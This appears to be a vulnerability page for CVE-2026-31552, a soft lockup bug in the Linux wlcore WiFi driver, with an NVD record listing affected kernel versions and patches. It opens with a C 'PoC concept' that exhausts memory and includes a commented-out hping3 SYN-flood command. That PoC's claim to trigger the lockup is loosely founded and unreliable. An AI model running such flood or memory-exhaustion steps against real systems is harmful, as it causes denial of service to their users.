CVE-2026-31552

/* * PoC Concept for CVE-2026-31552 * This script attempts to exhaust memory and trigger network traffic * on a system using the wlcore driver to provoke the race condition. * Requires specific hardware (TI wlcore wifi) to be effective. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> void consume_memory() { size_t block_size = 1024 * 1024; // 1MB void *ptr; printf("[*] Consuming memory to trigger GFP_ATOMIC failures...\n"); while (1) { ptr = malloc(block_size); if (ptr == NULL) break; memset(ptr, 0, block_size); } printf("[*] Memory pressure applied.\n"); } int main() { // Step 1: Consume memory to make pskb_expand_head likely to fail consume_memory(); // Step 2: Normally one would flood the WiFi interface here. // e.g., using a packet generator like hping3 or custom raw sockets. printf("[*] Triggering network transmission loop...\n"); // system("hping3 -i u1000 -S <target_ip>"); // Example printf("[*] If vulnerable, the kernel should soft lockup now.\n"); return 0; }

{"cve": {"id": "CVE-2026-31552", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-24T15:16:29.497", "lastModified": "2026-04-27T20:15:16.820", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: wlcore: Return -ENOMEM instead of -EAGAIN if there is not enough headroom\n\nSince upstream commit e75665dd0968 (\"wifi: wlcore: ensure skb headroom\nbefore skb_push\"), wl1271_tx_allocate() and with it\nwl1271_prepare_tx_frame() returns -EAGAIN if pskb_expand_head() fails.\nHowever, in wlcore_tx_work_locked(), a return value of -EAGAIN from\nwl1271_prepare_tx_frame() is interpreted as the aggregation buffer being\nfull. This causes the code to flush the buffer, put the skb back at the\nhead of the queue, and immediately retry the same skb in a tight while\nloop.\n\nBecause wlcore_tx_work_locked() holds wl->mutex, and the retry happens\nimmediately with GFP_ATOMIC, this will result in an infinite loop and a\nCPU soft lockup. Return -ENOMEM instead so the packet is dropped and\nthe loop terminates.\n\nThe problem was found by an experimental code review agent based on\ngemini-3.1-pro while reviewing backports into v6.18.y."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-835"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.10.250", "versionEndExcluding": "5.10.253", "matchCriteriaId": "66E4302C-5EB9-4984-983B-20CA9FFA4B97"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.15.200", "versionEndExcluding": "5.15.203", "matchCriteriaId": "63DFD51E-A9F5-4387-ABA4-525154CD3972"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.1.163", "versionEndExcluding": "6.1.167", "matchCriteriaId": "73CD421D-F2A3-4142-A9A2-47683BB9ABD4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.6.124", "versionEndExcluding": "6.6.130", "matchCriteriaId": "C1C9B72D-1F0E-488D-AE95-ADE16C092AF0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.12.70", "versionEndExcluding": "6.12.78", "matchCriteriaId": "0126FC39-C23D-40D2-BC7F-4692652C4520"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.18.10", "versionEndExcluding": "6.18.20", "matchCriteriaId": "E3BAA8AC-B2CC-40BC-AFBE-379025E7EF3D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19.1", "versionEndExcluding": "6.19.10", "matchCriteriaId": "D70DEFFE-AC47-4F3A-A2B2-2D67AB4CF3C8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:-:*:*:*:*:*:*", "matchCriteriaId": "35C8A871-4971-433E-A046-FC9F7B7D190A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "512EE3A8-A590-4501-9A94-5D4B268D6138"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/12f9eef39e49716c763714bfda835a733d5f6dea", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/46c670ff1ff466e5eccb3940f726586473dc053c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/980f793 ... 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